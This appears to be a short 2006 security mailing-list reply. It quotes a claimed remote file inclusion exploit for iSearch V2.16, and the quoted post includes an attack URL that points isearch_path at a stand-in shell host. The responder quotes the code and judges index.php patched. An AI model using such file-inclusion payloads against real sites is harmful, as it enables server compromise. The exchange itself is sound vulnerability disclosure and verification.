On 7 Oct 2006 22:14:00 -0000, xp1o@xxxxxxx <xp1o@xxxxxxx> wrote:
#The latest version of iSearch is V2.16 <= (index.php) Remote File Inclusion Exploit #Vlu Code : # #htpp://sitename.com/[scerpitPath]/index.php?isearch_path=http://SHELLURL.COM
$isearch_path = dirname(__FILE__);
define('IN_ISEARCH', true);
require_once "$isearch_path/inc/core.inc.php";
require_once "$isearch_path/inc/search.inc.php";
index.php seems patched to me.
/str0ke
